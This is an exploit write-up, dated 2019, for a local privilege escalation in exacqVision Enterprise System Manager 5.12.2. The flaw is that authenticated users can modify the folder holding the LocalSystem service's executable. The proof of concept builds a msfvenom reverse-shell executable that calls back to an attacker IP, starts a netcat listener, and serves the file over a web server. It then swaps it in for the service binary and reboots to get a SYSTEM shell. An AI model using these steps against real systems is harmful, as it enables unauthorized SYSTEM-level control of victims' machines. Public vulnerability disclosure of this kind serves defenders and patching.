# Exploit Title: exacqVision ESM 5.12.2 - Privilege Escalation # Exploit Author: bzyo # Twitter: @bzyo_ # Date: 2019-02-13 # Vulnerable Software: # http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe # Vendor Homepage: https://www.exacq.com # Version: 5.12.2.150128 # Tested Windows 7 SP1 x86 and Windows 10 x64 # Description: # exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions # Prerequisites # Local, Low privilege access with restart capabilities # Details # By default the Authenticated Users group has the modify permission to ESM folders/files as shown below. # A low privilege account is able to rename the enterprisesystemmanager.exe file located in # this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System. While a low privilege user is unable to restart the service # through the application, a restart of the computer triggers the execution of the malicious file. # note: during install, you cannot choose a folder containing spaces i.e. "program files" C:\>icacls exacqVisionEsm exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX) win7-32bit\bob:(RX) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(OI)(CI)(RX) NT AUTHORITY\Authenticated Users:(I)(M) NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M) Successfully processed 1 files; Failed processing 0 files C:\>sc qc "exacqVision Enterprise System Manager Web Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: exacqVision Enterprise System Manager Web Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ESMWebService DEPENDENCIES : SERVICE_START_NAME : LocalSystem # Proof of Concept 1. Generate malicious .exe on attacking machine msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe 2. Setup listener and ensure apache is running on attacking machine nc -nlvvp 443 service apache2 start 3. Download malicious .exe on victim machine Open browser to http://192.168.0.163/enterprisesystemmanager.exe and download 4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe enterprisesystemmanager.exe > enterprisesystemmanager.bak 5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\ 6. Restart victim machine and login as low privileged user 7. Reverse Shell on attacking machine opens C:\Windows\system32>whoami whoami nt authority\system